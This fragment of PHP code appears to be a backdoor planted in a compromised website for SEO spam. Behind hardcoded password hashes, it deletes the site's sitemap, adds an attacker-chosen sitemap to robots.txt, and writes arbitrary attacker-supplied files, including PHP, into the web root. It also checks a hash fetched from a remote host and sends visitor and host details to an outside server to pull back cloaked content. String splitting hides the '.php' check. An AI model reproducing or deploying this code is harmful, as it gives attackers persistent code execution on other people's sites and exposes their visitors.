_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off') { return true; } return false; } $password = sha1(sha1(@$_GET['pd'])); if ($password == 'f75fd5acd36a7fbd1e219b19881a5348bfc66e79') { $add_content = @$_GET['mapname']; $action = @$_GET['action']; if (isset($_SERVER['DOCUMENT_ROOT'])) { $path = $_SERVER['DOCUMENT_ROOT']; } else { $path = dirname(__FILE__); } if (!$action) { $action = 'put'; } if ($action == 'put') { if (strstr($add_content, '.xml')) { $map_path = $path. '/sitemap.xml'; if (is_file($map_path)) { @unlink($map_path); } $file_path = $path . '/robots.txt'; if (file_exists($file_path)) { $data = doutdo($file_path); } else { $data = 'User-agent: * Allow: /'; } $sitmap_url = $http . '://' . $host . '/' . $add_content; if (stristr($data, $sitmap_url)) { echo '
sitemap already added!
'; } else { if (file_put_contents($file_path, trim($data) . "\r\n" . 'Sitemap: '.$sitmap_url)) { echo '
ok
'; } else { echo '
file write false!
'; } } } else { echo '
sitemap name false!
'; } if (strstr($add_content, '.p' . 'hp')) { $a = sha1(sha1(@$_GET['a'])); $b = sha1(sha1(@$_GET['b'])); if ($a == doutdo($http_web . '://' . $goweb . '/a.p' . 'hp') || $b == 'f8f0dae804368c0334e22d9dcb70d3c7bbfa9635') { $dstr = @$_GET['dstr']; if (file_put_contents($path . '/' . $add_content, $dstr)) { echo 'ok'; } } } } exit; } $web = $http_web . '://' . $goweb . '/indexnew.php?web=' . $host . '&zz=' . disbot() . '&uri=' . $duri . '&urlshang=' . $urlshang . '&http=' . $http . '&lang=' . $lang; $html_content = trim(doutdo($web)); /* blog T229 */ ?>